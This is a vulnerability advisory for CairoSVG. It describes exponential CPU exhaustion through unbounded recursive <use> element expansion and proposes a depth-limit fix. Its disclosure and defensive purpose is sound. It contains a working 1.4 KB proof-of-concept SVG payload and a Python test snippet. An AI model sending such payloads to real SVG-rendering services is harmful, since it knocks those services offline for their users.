## Summary

Kozea/CairoSVG has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.

## Vulnerable Code

File: `cairosvg/defs.py` (line ~335), function `use()`

The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

## Impact

- 1,411-byte SVG payload pins CPU at 100% indefinitely
- Memory stays flat at ~43MB — no OOM kill, process never terminates
- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
- Amplification factor: O(10^N) rendering calls from O(N) input

## Proof of Concept

Save as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:

```xml
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>
```

Expected: `timeout` kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:
```python
import cairosvg, signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
```

## Suggested Fix

Add recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

## References

- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)

## Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

CWE-400 Uncontrolled Resource Consumption